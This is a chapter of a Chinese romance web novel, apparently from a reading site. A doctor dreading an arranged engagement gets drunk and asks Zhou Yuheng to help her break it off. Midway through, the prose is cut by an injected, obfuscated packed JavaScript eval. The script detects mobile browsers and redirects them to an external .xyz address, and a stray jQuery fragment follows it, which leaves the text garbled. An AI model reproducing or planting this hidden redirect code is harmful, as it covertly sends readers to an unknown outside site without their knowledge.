日子一天天数着过,即使旁人不提,程素也越来越没底。
眼瞧着距离那天越来越近,她心底发慌。
要是真的订了婚。
以后可就没有回头是岸这个说法。
窗外的梧桐树叶还是那么绿,郁郁葱葱的,并没有要变黄的意思。
学生们已经开始上学,程素在第一个周和第二个周没课,工作还算是松快些。
学校里开始变得热闹起来,有了人气。
今天就诊的人不算多。
她看着窗外的阳光发愣,脑子里各路场景轮换交替。
不是什么好事,都是些烦心事。
拇指和食指不断交替摩擦着衣服,这是她下意识的习惯。
只要这样做。
一定是很紧张。
“老师,那个从心内转过来的姑娘,我们先安排她去做检查吗?”
学生带着就诊病例过来,询问程素的意见。
一下子就把程素从游离中拉回来。
“心内那边是确定不能微创吗?”
姑娘得的是先天性心脏病,女性发病率很高的房间隔缺损,随着人生长,缺口不算小。
并不是会影响人生死的大病,但总归是一种不可忽视的缺陷。
秉承着尽量不开刀,保持美观的前提,程素还是再三确认。
“对,心内说不行,所以转到咱们这边来。”
“这样,你让她下午去康复楼,我过去给她再做一次检查,你和我一起。”
“好的。”
没人想在身上留下一道疤,况且,是个刚过二十岁的姑娘,考虑到女孩子爱美的心理。
保险起见,程素想再帮她检查一下。
有些人当医生不共情。
很明显,程素不是。
或许她心底也希望自己不这样。
但是,做不到。
“好,现在把腿弯曲起来,肚子放松,我再看一下。”
“老师,好像真的没有可以固定的地方。”
她们已经开始尝试第三次了,仍旧找不到可以固定的边缘。
学生在旁边小声提醒。
程素仍旧不死心。
程素将B超仪往上挪了一下,眼睛瞪大,眉毛明显翘起,神情也放松。
她让姑娘又挪动了几个位置,像是肯定。
程素给女孩拿了卫生纸,让她擦去身上的凝胶。
姑娘的脸色不太好,怕是被这事折磨的。
“医生,我的情况是不是不太好。”
小小的一张脸,四肢纤细,明显是发育不良的情况,好在没有影响身高。
她小心翼翼,生怕有不好的结果。
“不,你别担心,我觉得你还是有可能进行微创的,但是具体情况我觉得需要再评估,耐心一点。”
“先不做其他的检查,我去找心内的医生聊一下。”
程素给她吃下定心丸,不怎么经历世事的姑娘对着程素拼命道谢,走到门口又被姑娘的父亲拉着手感谢了一番。
一天的工作下来,再有精力的人也会变得低能量。
何况,她本来就是低能量人。
她现在爱上了工作,工作让她暂时忘记生活中的烦恼。
九月在这个偏北的城市已经开始变得凉快,程素早早穿上了薄外套,背着棕色斜挎小包,像是一个刚刚毕业的大学生。
又想起家里的那堆烂事,感觉比一千份工作还要烦。
她不去想,但总是有人来有意无意地提醒她。
她其实不想闹得那么僵硬的,两边你死我伤,一起毁灭不是她想看到的结局。
一边是顾家,一边是程泊怀。
她不是说不敢闹,但是这售后她是真的处理不好。
晚上回家,一个超级大的礼盒放在门口。
不用看都知道里边装的是什么。
卑鄙!
用这种方式来警告她,无耻!
难道真的失算?
顾叙安真的不喜欢那个女人?
电视上播放着不用想就知道剧情的老剧,程素揉了揉头发,原本整洁光亮的发丝瞬间交缠在一起。
即使这样,也掩盖不了她的明艳。
从学校食堂带回来的健康轻食,她没吃几口。
“来喝酒。”
“不去。”
“来嘛来嘛,知道你心情不好,这个时候更应该大玩一场。”
一来二去的推辞,程素同意。
她不爱喝酒,平时没有特殊的情况,几乎不会碰。
现在就是心里郁闷,该喝!
还是在Lanforest。
姜喻点了一大桌子吃的,包间里有人在搓麻将,有人过来找她俩上桌,程素摆摆手没兴致,姜喻也就没应。
程素没喝几口,看着菜单点了几种酒。
颜色琉璃的液体,是夜晚危险的信号。
接连干了三杯调酒,把姜喻看呆。
刚要拿起第四杯,却被姜喻拦下。
“你可不能这么喝了,吓人。”
“诶诶诶,你这是恐惧当已婚妇女?”
她拿程素开玩笑。
程素懒得理她,甩过去一个不太好的眼神,并不会怨恨她。
“判断失误了吧,我就和你说,顾叙安那种怂包,怎么可能和他爸妈抗争,他现在就是绥靖政策,你等着瞧吧,这两家人绑也得给你绑上婚礼现场。”
“你干脆找个陌生人结婚算了,只要你名花有主,谁敢逼迫你。”
喝起来甜丝丝的酒精,却在不久后就发挥作用。
程素已经开始迷离,不知名的红晕已经悄悄爬上脸颊。
她闭着眼睛,脸颊贴在桌子上。
桌子凉凉的,好舒服。
她不理她,姜喻也不恼,用手撑着头无聊。
旁边有人进来朝着姜喻使眼色,用口型说话,弄得姜喻的眼睛立刻亮了起来。
“真的?”
对面的人用力点了点头。
姜喻立刻摇了摇程素,“走走走,看帅哥去!”
程素被她摇得头疼,迷迷糊糊地,“你别别别,晃得我难受。”
“什么帅哥啊?”瓮声翁气的,像是小朋友。
“周聿珩!”
姜喻摩拳擦掌,眼睛全是满意,“我最近的运气太好了,短短两个周,竟然能遇见他两次,一会你得陪我去买彩票,绝对能中头奖。快走快走。”
姜喻硬拉着程素去门口观察。
周聿珩站在大厅的位置,看似正在等人。
程素和姜喻站在门口,躲在巨大的盆栽后边,刚好可以看到全貌。
旁边的姜喻一直在啧啧啧,她哈喇子都快掉在地上了,程素一瞬间酒醒。
“这,是谁啊?”
“周聿珩啊!看看这大长腿,这帅气的侧颜,这极高的品味,还能有谁啊?”
这个人,是周聿珩?</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447985|185178||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
那个周先生,竟然就是周聿珩。
是啊,都姓周。
程素一眼就认出来,他甚至穿着和之前她见他时一样的衣服,熨烫整齐的西装在他身上十分妥帖。
唯一不同的是,他今天戴了副无框架眼镜,倒是显得他格外凌厉。
像是从电视剧里走出来的明星,收获了一大批粉丝,她们俩算是保守的,悄悄躲起来看。
还有些大胆的,几乎都要去人家面前了。
程素坐在沙发上,意识倒早就涣散。
像是在思考什么,但实际上脑袋空空,转不起来一点。
她接受的信息有点太多了,一时间好像反应不过来。
姜喻上完厕所回来,乐滋滋地甩着手,凑到程素旁边,“你猜我刚刚遇见谁了?”
“我给你讲,刚刚从厕所出来的时候,正好碰到周聿珩进去,要不是我怕人家以为我是女变态,我高低得在门口等他出来,这帅脸,我看一万次也不够啊。”
“啊!我知道了!一定是你,橙子,你真是我的小福星!”
她突然兴奋得大叫。
姜喻双手环上程素的脖子,朝着脸颊猛地来了一口。
厕所?
程素一秒都没思考,立刻夺门而出。
留下姜喻在原地疑惑,她去干啥?
找周聿珩?
“不是不是,你去干啥啊!”
姜喻朝着门口大吼。
去找周聿珩?
不可能不可能,程素不是这样的人。
后来,程素把这一次勇敢归结于酒精作祟。
毕竟,她很少会如此冲动。
程素站在厕所门口的盆栽旁边,时不时望着里边,生怕人走了。
一见就是焦灼的情绪。
她不知道,自己的脸很红,在灯光下,特别可爱。
看得多了,她也有点害怕。
她低头盯着自己的鞋,而后,视线里出现了一双黑色的男士皮鞋。
头顶传来一声很轻的问候,“程素?”
她立刻抬起头,喝了酒迷离的眼睛有些涣散,努力和他对视。
她的手不断地摩擦着上衣的下摆。
周聿珩垂着眼看了下她的手,又转眼看向她的脸。
“你怎么了?”
“你喝酒了?”
程素红扑扑的脸出卖了她。
周聿珩皱了皱眉,什么事惹得她不开心,喝了这么多酒。
她很努力地要保持清醒,却还是抵不过酒精的作用。
还是因为,顾叙安吗?
她果然,很喜欢他。
她点了点头,又摇了摇头,想让自己快速再清醒一些。
她大着胆子伸手抓了一下周聿珩的胳膊,随后意识到自己的莽撞,又把手颤着收回来。
程素抬着头看他,又低下头,不知道该怎么开口,却又很迫切。
会所里的灯光不算明亮,浅浅打在两人的身上,倒在地上的影子交叠在一起。
如果仔细观察,他们确实是特别的存在。
男人高大的身材刚好裹挟住小巧的女人,我见犹怜的,程素此刻很符合较弱的状态。
“周先生,我想请你再帮我个忙。”
男人低了低身子,要认真倾听的态度。
程素停住,咽了咽口水,舔了舔嘴唇。
是下定了决心,放大声音。
“周先生,您可以帮我毁个婚吗?”